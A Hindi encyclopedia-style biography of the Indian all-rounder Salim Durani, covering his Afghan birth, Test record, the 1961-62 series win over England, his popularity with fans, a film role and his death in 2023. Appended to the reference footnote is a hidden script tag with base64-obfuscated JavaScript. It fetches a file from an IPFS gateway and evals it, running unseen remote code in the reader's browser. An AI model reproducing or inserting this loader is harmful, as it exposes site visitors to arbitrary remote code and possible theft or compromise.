सलीम दुर्रानी

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सलीम दुर्रानी (अंग्रेज़ी: Salim Durani, जन्म- 11 दिसंबर, 1934; मृत्यु- 2 अप्रॅल, 2023) भारत के बेहतरीन क्रिकेट ऑलराउंडर खिलाड़ियों में से एक थे, जो अफ़ग़ान मूल के थे। उन्होंने भारत के लिए 29 टेस्ट खेले, जिसमें उन्होंने एक शतक और सात अर्धशतक की मदद से 1202 रन बनाए थे। साथ ही 75 विकेट भी लिए थे। सलीम दुर्रानी धीमे बाएं हाथ के गेंदबाज और बल्लेबाज थे। वह पहले क्रिकेटर थे जिन्हें 'अर्जुन पुरस्कार' (1960) से सम्मानित किया गया था। वर्ष 2011 में उन्हें 'सी.के. नायडू लाइफटाइम अचीवमेंट अवॉर्ड' से भी सम्मानित किया गया था, जो भारतीय क्रिकेट बोर्ड द्वारा किसी पूर्व खिलाड़ी को दिया जाने वाला सर्वोच्च सम्मान है।

परिचय

सलीम दुर्रानी का जन्म 11 दिसंबर, 1934 को अफ़ग़ानिस्तान के काबुल में हुआ था। हालांकि, जब वह सिर्फ आठ वर्ष के थे तब उनका परिवार पाकिस्तान के कराची जाकर बस गया था। भारत-पाकिस्तान बंटवारे के समय सलीम दुर्रानी का परिवार भारत आ गया। धीरे-धीरे उनकी क्रिकेट में दिलचस्पी बढ़ी। 1960-1970 के दशक में सलीम ने अपने ऑलराउंड प्रदर्शन से पहचान बनाई। वह भारत के दिग्गज ऑलराउंडर्स में से एक रहे। ऐसा कहा जाता है कि मैच में जब भी फैंस सलीम से छक्का लगाने की मांग करते थे, वह छक्का जड़ देते थे। इसी तरह सलीम दुर्रानी फैंस के खास बन गए थे।[1]

इंग्लैंड पर ऐतिहासिक जीत में भूमिका

सलीम दुर्रानी ने 1961-1962 में इंग्लैंड पर ऐतिहासिक 2-0 की सीरीज जीत में अहम भूमिका निभाई थी। उन्होंने इस पांच मैचों की टेस्ट सीरीज में जमकर विकेट लिए थे। भारत ने कोलकाता और मद्रास में दो टेस्ट जीते थे। कोलकाता टेस्ट में सलीम ने आठ और मद्रास टेस्ट में 10 विकेट लिए थे। इसके अलावा उन्होंने वेस्टइंडीज के खिलाफ ऐतिहासिक पोर्ट ऑफ स्पेन मैच में भारत की जीत में भी अहम किरदार निभाया था। इस मैच में सलीम ने तब के महान बल्लेबाज क्लाइव लॉयड और सर गारफील्ड सोबर्स के विकेट झटके थे।

फैंस के साथ ख़ास रिश्ता

प्रथम श्रेणी मैचों की बात करें तो सलीम दुर्रानी ने 33.37 की औसत से 8,545 रन बनाए। इनमें 14 शतक शामिल हैं। अपना दिन होने पर सलीम दुर्रानी किसी भी गेंदबाजी आक्रमण को ध्वस्त करने की क्षमता रखते थे। हालांकि, एक गेंदबाज के रूप में उन्होंने पहली बार भारतीय टीम में खेलते हुए अपनी पहचान बनाई थी। सलीम दुर्रानी का फैंस के साथ भी खास रिश्ता था। एक बार कानपुर में एक मैच के लिए टीम से बाहर किए जाने के बाद फैंस ने अपना गुस्सा व्यक्त किया था। वह बैनर और प्लेकार्ड के साथ मैदान में पहुंचे थे, जिस पर लिखा था- "नो दुर्रानी, नो टेस्ट!" घरेलू क्रिकेट में सलीम दुर्रानी ने ढाई दशक के करियर के दौरान गुजरात, राजस्थान और सौराष्ट्र का प्रतिनिधित्व किया।

फ़िल्म में काम

सलीम दुर्रानी ने 1960 में मुंबई टेस्ट में डेब्यू किया था। वह छक्के लगाने के लिए ज्यादा मशहूर थे। सलीम ने आखिरी टेस्ट फ़रवरी 1973 में मुंबई में इंग्लैंड के खिलाफ खेला था। क्रिकेट से संन्यास लेने के बाद सलीम ने फिल्म इंडस्ट्री में भी काम किया। वह बॉलीवुड फिल्म 'चरित्र' में भी काम कर चुके थे। इस फिल्म में सलीम दुर्रानी के साथ परवीन बॉबी थीं।[1]

मृत्यु

भारत के भूतपूर्व दिग्गज क्रिकेटर सलीम दुर्रानी का 88 साल की उम्र में 2 अप्रॅल, 2023 को जामनगर, गुजरात निधन हुआ। वह कैंसर से जूझ रहे थे।

प्रधानमंत्री नरेंद्र मोदी ने महान भारतीय क्रिकेटर सलीम दुरानी के निधन पर शोक व्यक्त किया। एक ट्वीट में प्रधानमंत्री मोदी ने कहा- "सलीम दुर्रानी जी क्रिकेट के दिग्गज थे, अपने आप में एक संस्था थे। उन्होंने क्रिकेट की दुनिया में भारत के उत्थान में महत्वपूर्ण योगदान दिया। मैदान पर और मैदान से बाहर, वह अपनी शैली के लिए जाने जाते थे। उनके निधन से आहत हूं। उनके परिवार और दोस्तों के प्रति संवेदना। उनकी आत्मा को शांति मिले"। यह देखते हुए कि सलीम दुर्रानी का गुजरात के साथ बहुत पुराना और मजबूत संबंध था, प्रधानमंत्री ने कहा कि "उन्होंने कुछ वर्षों के लिए सौराष्ट्र और गुजरात के लिए खेला और राज्य को अपना घर भी बनाया। मुझे उनके साथ बातचीत करने का अवसर मिला है और मैं उनके बहुमुखी व्यक्तित्व से बहुत प्रभावित हुआ। निश्चित रूप से उनकी कमी खलेगी"।[1]


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 टीम इंडिया के पूर्व दिग्गज क्रिकेटर सलीम दुर्रानी का निधन (हिंदी) amarujala.com। अभिगमन तिथि: 22 मार्च, 2024।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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